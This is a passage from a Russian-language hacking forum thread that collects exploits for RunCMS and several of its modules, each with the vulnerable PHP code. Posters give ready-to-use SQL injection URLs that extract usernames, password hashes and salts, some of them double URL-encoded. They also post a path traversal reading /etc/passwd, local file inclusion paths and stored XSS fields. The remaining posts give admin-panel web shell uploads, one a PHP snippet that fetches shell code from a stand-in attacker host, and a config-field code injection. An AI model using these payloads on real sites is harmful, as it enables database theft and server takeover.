    $where "WHERE level>0 AND (uname LIKE '%$query%' OR user_icq LIKE '%$query%' ";
            
    $where .= "OR user_from LIKE '%$query%' OR user_sig LIKE '%$query%' ";
            
    $where .= "OR user_aim LIKE '%$query%' OR user_yim LIKE '%$query%' OR user_msnm like '%$query%'";
        if ( 
    $xoopsUser ) {
                if ( 
    $xoopsUser->isAdmin() ) {
                    
    $where .= " OR email LIKE '%$query%'";
            }
            }
        
    $where .= ") ";
    } else {
            
    $where "WHERE level>0";
    }
    $result $db->query("SELECT uid, uname FROM ".$db->prefix("users").$where ORDER BY uid DESC",1,0);
    list(
    $lastuid$lastuser) = $db->fetch_row($result);
     
    1 person likes this.
  14. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Arcade
    Версия: 0.51

    Уязвимый скрипт: index.php
    Запрос: /modules/arcade/index.php?act=show_cat&cat_id=-1+union+select+1,pwdsalt,pass,4,uname,6,7,8,9,10,11,12,13,14,15+from+runcms_users%23
    Уязвимый кусок кода:
    PHP:
    switch($act)
    {
        case 
    'show_cat':
        {
            
    show_category($cat_id);
            break;
        }
    ...........
    // /include/arcade_func.php
    function _show_cat_games($cat_id)
    {
        global 
    $db$HTTP_GET_VARS$options;
        
    $sql "SELECT * FROM ".$db->prefix('arcade_cats')." WHERE cat_id=$cat_id";
        
    $res $db->query($sql);
        
    $catrow $db->fetch_object($res);
        
    $sql1 "SELECT count(*) from ".$db->prefix('arcade_games')." WHERE cat_id=$cat_id AND active=1 order by gtitle";
        
    $res1 $db->query($sql1);
        list(
    $total_games) = $db->fetch_array($res1);
        
    $pager = new PageNav($total_games$options['games_per_page'], $HTTP_GET_VARS['start'], "start""act=show_cat&amp;cat_id=$cat_id");    
        
    $sql2 "SELECT * from ".$db->prefix('arcade_games')." WHERE cat_id=$cat_id AND active=1 order by gtitle";
        
    $res2 $db->query($sql2$options['games_per_page'], $HTTP_GET_VARS['start']);        
        if (
    $catrow->cat_info) { $boxstuff "<center><h1>".$catrow->cat_info."</h1></center><br />";}
        if (
    $pager->renderNav()) { $boxstuff .= "<center>".$pager->renderNav()."</center><br />";}
        
    $title_MD_DISPCAT.$catrow->cat_name;
        while (
    $row $db->fetch_object($res2))
        {
            
    $boxstuff .=_display_game_info($row);
        }
        if (
    $pager->renderNav()) { $boxstuff .= "<br /><center>".$pager->renderNav()."</center>";}
        
    themecenterposts($title$boxstuff);
    }
    Запрос: /modules/arcade/index.php?act=play_game&gid=-1+union+select+1,pwdsalt,3,4,uname,6,7,8,9,10,11,12,pass,14,15+from+runcms_users%23
    Уязвимый кусок кода:
    PHP:
        case 'play_game':
        {
            
    play_game($gid);
            break;
        }
    .....
    // /include/arcade_func.php
    function play_game($gid)
    {
    ......
        
    swf_display($gid);
    ......
    function 
    swf_display($gid)
    {
        global 
    $db;
        
    $sql "SELECT * from ".$db->prefix('arcade_games')." WHERE gid=".$gid;
        
    $res $db->query($sql);
    Запрос: /modules/arcade/index.php?act=show_stats&gid=-1+union+select+pass,2+from+runcms_users%23
    Уязвимый кусок кода:
    PHP:
        case 'show_stats':
        {
            
    show_gamestats($gid);
            break;
        }
    .......
    function 
    show_gamestats($gid)
    {
        
    OpenTable();
        
    _display_gamestats($gid);
        
    CloseTable();        
    }
    .......
    function 
    _display_gamestats($gid)
    {
        global 
    $db$HTTP_POST_VARS$xoopsUser$options;;
        
    $sql "SELECT gtitle,highscore_type FROM ".$db->prefix('arcade_games')." WHERE gid=".$gid."";
        
    $res $db->query($sql);
    Чтение произвольных файлов
    Зависимость: magic_quotes = off
    Запрос: /modules/arcade/index.php?act=download_game&game=/../../../../../../../../../../../../../../../../../../../etc/passwd%00
    Уязвимый кусок кода:
    PHP:
        case 'download_game':
        {
            
    download_game($game);
            break;
        }
    .....
    function 
    download_game($game)
    {
        global 
    $HTTP_POST_VARS$xoopsUser;
        
    $dir XOOPS_ROOT_PATH."/modules/arcade/cache/tar/";
        
    $file $dir."game_".$game.".tar";
        
    $dir2 XOOPS_ROOT_PATH."/modules/arcade/tar/";
        
    $file2 $dir2."game_".$game.".tar";
        if ( !@
    file_exists($file) && !@file_exists($file2) )
        {
            
    new_tar($game);
        } else {
            
    header("Pragma: public");
            
    header("Expires: 0");
            
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
            
    header("Cache-Control: public");
            
    header("Content-Description: File Transfer");
            
    header('Content-type:     application/x-tar');
            
    $header="Content-Disposition: attachment; filename=game_".$game.".tar";
            
    header($header );
            
    header("Content-Transfer-Encoding: binary");
            @
    readfile($file);
        }  
    }
    На этом закончу с этим модулем, дальше все те же скули ..
     
    #34 BlackSun, 27 Feb 2009
    Last edited: 27 Feb 2009
    2 people like this.
  15. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Book Reviews
    Версия: 0.3

    Уязвимый скрипт: index.php
    Запрос:
    Code:
    /modules/mareviews/?func=catlist&category=%252d%2531%2527%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2563%256f%256e%2563%2561%2574%255f%2577%2573%2528%2530%2578%2533%2561%252c%2570%2561%2573%2573%252c%2570%2577%2564%2573%2561%256c%2574%2529%252c%2575%256e%2561%256d%2565%252c%2533%2520%2566%2572%256f%256d%2520%2572%2575%256e%2563%256d%2573%255f%2575%2573%2565%2572%2573%2523
    
    Уязвимый кусок кода:
    PHP:
    function show_catlist($category) {
        global 
    $isbn$title$db;
        
        
    // а благодаря этому можно заюзать concat для гламурности,
        // а так-же забыть про magic_quotes ..
        // .. дважды заURLэнкодив иньекцию
        
    $category urldecode($category);
        
    $table $db->prefix()."_mareviews";
        
        
    /*
        * Set display title
        */
        
    $box_title $category." - Reviews";
        
        
    $content "<table>";
        
        
    $sql "
            SELECT title, author, id
                FROM 
    $table
                WHERE category = '
    $category'
                ORDER BY author, title"
    ;
        
    $result $db->query($sql);
     
  16. Player#1

    Player#1 Member

    Joined:
    11 Nov 2008
    Messages:
    95
    Likes Received:
    35
    Reputations:
    10
    RunCMS 2.1

    Active XSS
    http://yoursite/edituser.php
    Поле address varchar(150)
    Поле town varchar(60)


    Заливка шелла через админку
    http://yoursite/modules/system/admin.php?fct=tpleditor
    Заливаем zip архив с шеллом.
    Шелл будет залит сюда: http://yoursite/themes/shell.php

    ---------------------------------------------------------
    http://yoursite/modules/system/admin.php?fct=blocksadmin
    Добавляем новый блок:
    Content - сюда вставляем инклюд шелла, например:
    PHP:
    $str file_get_contents("http://hacker-site/shell.txt");
    $fp fopen("shell.php""w+t");
    fwrite($fp$str);
    Content Type - PHP Script
    Заходим на страницу содержащую блок или смотрим его preview.
    Шелл будет залит сюда: http://yoursite/modules/system/shell.php

    Player#1 (c)
     
    3 people like this.
  17. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Run CMS 2.1
    www.runcms.org


    SQL-Injection

    file:/modules/forum/reply.php
    PHP:
    include_once("class/class.forumposts.php");
    $forumpost  = new ForumPosts($post_id);
    file:/modules/forum/class/class.forumposts.php
    PHP:
    function ForumPosts($id=-1) {
            if ( 
    is_array($id) ) {
                    
    $this->makePost($id);
                    } elseif ( 
    $id != -) {
                            
    $this->getPost($id);
                    }
            }

    ...

    function 
    getPost($id) {

    ...

    $sql   "SELECT * FROM ".$bbTable['posts']." WHERE post_id=$id";
    $array $db->fetch_array($db->query($sql));

    ...
    result:

    Code:
    GET /modules/forum/reply.php?forum=3&post_id=-4+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18&topic_id=4&viewmode=flat&order=0
    LFI
    need: administrator account, mq=off

    Code:
    /modules/system/admin.php?fct=tpleditor&op=file_edit&module=../../../[COLOR=white][local_file][/COLOR]%00
    /modules/system/admin.php?fct=tpleditor&op=css_edit&module=../../[COLOR=white][local_file][/COLOR]%00
    /modules/system/admin.php?fct=tpleditor&op=tpl_module_edit&module=../../[COLOR=white][local_file][/COLOR]%00&tpl=1
    

    Full Path Disclosure
    Code:
    /footer.php
    /header.php
    /class/core.php
    /class/groupaccess.php
    /class/rcxblock.php
    /class/rcxcomments.php
    /class/rcxformloader.php
    /class/rcxgroup.php
    /class/rcxpm.php
    /class/rcxstory.php
    /class/rcxtopic.php
    /class/rcxuser.php
    /class/database/mysql.php
    /class/form/formbutton.php
    /class/form/formcheckbox.php
    /class/form/formdatetime.php
    /class/form/formdhtmleseditor.php
    /class/form/formdhtmlfckeditor.php
    /class/form/formdhtmltextarea.php
    /class/form/formelementtray.php
    /class/form/formfile.php
    /class/form/formheadingrow.php
    /class/form/formhidden.php
    /class/form/formlabel.php
    /class/form/formpassword.php
    /class/form/formradio.php
    /class/form/formradioyn.php
    /class/form/formselect.php
    /class/form/formselectcountry.php
    /class/form/formselectgroup.php
    /class/form/formselectlang.php
    /class/form/formselectmatchoption.php
    /class/form/formselectmodule.php
    /class/form/formselecttheme.php
    /class/form/formselecttimezone.php
    /class/form/formselectuser.php
    /class/form/formtext.php
    /class/form/formtextarea.php
    /class/form/formtextdateselect.php
    /class/form/simpleform.php
    /class/form/tableform.php
    /class/form/themeform.php
    

    upload shell
    need: administrator account

    Логинимся.. Идём в System Admin -> Theme Editor -> архивируем шелл (*.zip) -> жмём upload
    шелл будет доступен по адресу http://site.ru/themes/shell.php
     
    #37 .:[melkiy]:., 13 May 2010
    Last edited: 13 May 2010
    4 people like this.
  18. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Run CMS 2.1

    SQL-Injection
    need:user account

    file:/modules/pm/print.php
    PHP:
    if ( isset($_POST['op']) ) {
            
    $op =  $_POST['op'];
            } elseif ( isset(
    $_GET['op']) ) {
                    
    $op =  $_GET['op'];
    }

    if ( isset(
    $_POST['msg_id']) ) {
            
    $msg =  $_POST['msg_id'];
            } elseif ( isset(
    $_GET['msg_id']) ) {
                    
    $msg =  $_GET['msg_id'];
    }

    if (empty(
    $msg)) {
            
    redirect_header("index.php"2_PM_NOPNTOPRINT);
            exit();
    }

    if (
    $op == "print_pn") {
         
    $sql "SELECT msg_id, subject, from_userid, to_userid, msg_time, msg_text FROM ".$db->prefix("pm_msgs")." WHERE msg_id=".$msg." ";
    }

    if (
    $op == 'print_sent_pn') {
         
    $sql "SELECT msg_id, subject, from_userid, to_userid, msg_time, msg_text FROM ".$db->prefix("pm_msgs_sent")." WHERE msg_id=".$msg."";
    }
    result:
    Code:
    /modules/pm/print.php?op=print_pn&msg_id=-0+union+select+1,2,3,4,5,6

    --------------


    Code:
    /modules/forum/edit.php?forum=1&post_id=-1+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18&topic_id=4&viewmode=flat&order=0
    /modules/galleri/viewcat.php?cid=-1+union+select+1,version()
    
     
    2 people like this.
  19. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    Заливка шелла в последнюю на данный момент версию RunCMS 2.2.2. Нужны права Админа. Идем в
    Архив файлов -> Основные настройки -> Допустимые форматы скриншота
    (modules/downloads/admin/index.php?op=downloadsConfigAdmin)

    Это поле является предпоследней строкой кода в файле: \modules\downloads\cache\config.php
    Вписываем:
    Code:
    .gif|.jpg|.bmp|.png'; phpinfo(); ?>
    Сохраняем... и после обновления страницы отобразится phpinfo();
     
  20. vaddd

    vaddd Member

    Joined:
    6 Jan 2009
    Messages:
    140
    Likes Received:
    19
    Reputations:
    9
    up! какой метод хэширования юзается?